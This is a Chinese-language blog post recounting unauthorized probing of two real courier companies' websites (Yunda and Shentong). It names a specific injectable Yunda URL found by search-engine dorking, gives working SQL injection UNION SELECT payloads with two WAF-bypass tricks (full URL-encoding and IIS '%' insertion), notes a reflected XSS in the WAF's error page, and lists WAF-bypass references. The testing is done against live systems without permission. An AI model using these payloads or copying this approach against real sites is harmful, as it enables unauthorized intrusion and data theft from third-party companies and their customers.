快遞廠商的安全小測
0x01 事起有因
雙十一在淘寶上買了幾件衣服,昨天收到短信說快遞已發(fā)。于是查了下物流訂單詳情,然后順便手賤了下。
0x02 安全問題
A 韻達
查看訂單的時候,看到有php頁面,就google了一把:site:yundaex.com inurl:php? ,還很發(fā)現(xiàn)了注入點。
注入點:
http://www.yundaex.com/fuwuwangdian_list.php?shi=027
數(shù)據(jù)庫:
B 申通
申通的主頁上面直接有新聞,而且都是asp的動態(tài)頁面,就加了個單引號,結(jié)果就報錯了。
很明顯又是一個注入漏洞。然后習慣性的and 1=1,and 1=2,然后就出現(xiàn)了不常見的頁面,可以證明是有waf在作怪。不過該waf沒有組織order by,通過他可以知道前面的查詢有8個字段。現(xiàn)在介紹兩種繞過該waf的方法:
Urlencode編碼
將and 1=2 union select 1,user(),3,4,5,6,version(),8 全部字符都進行urlencode編碼為:%61%6e%64%20%31%3d%32%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%75%73%65%72%28%29%2c%33%2c%34%2c%35%2c%36%2c%76%65%72%73%69%6f%6e%28%29%2c%38,然后提交,數(shù)據(jù)出來了。
解釋:即使將select等關鍵字url編碼后,當請求的鏈接到達服務端后,服務端容器會先給轉(zhuǎn)碼的,然后再交給asp腳本處理。所以在源代碼審計時經(jīng)常會找urldecode等函數(shù),因為這樣可能利用url雙編碼來繞過防注入程序的處理。
Asp環(huán)境添加%
將and 1=2 union select 1,user(),3,4,5,6,version(),8變?yōu)椋篴n%d 1=2union selec%t 1,user(),3,4,5,6,version(),8,然后提交,數(shù)據(jù)又出來了。
解釋:IIS下的asp.dll文件在對asp文件后參數(shù)串進行url解碼時,會直接過濾掉09-0d(09是tab鍵,0d是回車)、20(空格)、%(下兩個字符有一個不是十六進制)字符。
0x03 還是那個waf
申通這個waf當輸入有特殊字符時,會將query字符串輸出來。所以這里就會形成一個xss。
不過這個xss很yy,因為這是在代理下提交的,如果用瀏覽器的,瀏覽器會先給編碼。
0x04 關于waf的資料
http://www.defcon.org/images/defcon-16/dc16-presentations/defcon-16-henrique.pdf
Playing with Web Application Firewalls
http://pauldotcom.com/2012/01/real-world-waf-detection-and-b.html
Real World WAF Detection and Bypass Made Easy
https://www.owasp.org/images/0/0a/Appseceu09-Web_Application_Firewalls.pdf
Web Application Firewalls:
What the vendors do NOT want
you to know
http://hackerstown.com/showthread.php?tid=20228
[TUT]basic WAF bypassing and intrusiondetection [tut]
http://www.101hacker.com/2011/11/sql-injections-part-5-bypassing-waf.html
SQL InjectionPart 5 – Bypassing WAF
http://ptsecurity.com/download/PT-devteev-CC-WAF-ENG.pdf
Methods to Bypass a Web ApplicationFirewall
http://www.nethemba.com/bypassing-waf.pdf
Bypassing Web Application Firewalls (WAFs)
http://websec.ca/blog/view/Bypassing_WAFs_with_SQLMap
Bypassing_WAFs_with_SQLMap
Web Application Firewalls: Detection,Bypassing and Exploitation
http://www.andlabs.org/whitepapers/Split_and_Join.pdf
Split_and_Join
http://kyle-sandilands.com/?p=1995
http://www.sectechno.com/2010/05/23/detecting-bypassing-web-application-firewalls-part-1/
DETECTING & BYPASSING WEB APPLICATIONFIREWALLS (PART 1)
https://www.sans.org/security-training/web-application-firewall-filter-bypass-day-4-15936-cid
Web Application Firewall and Filter Bypass
http://www.darkreading.com/security/news/217400819/researchers-hack-web-application-firewalls.html
還有safe3和blackhat上面那個協(xié)議方面繞過的文章,可以自己找下。歡迎補充……
0x05 問題說明
這幾個漏洞應該都存在很長時間了,而且估計千人日了。不過這里只做說明,重點是waf。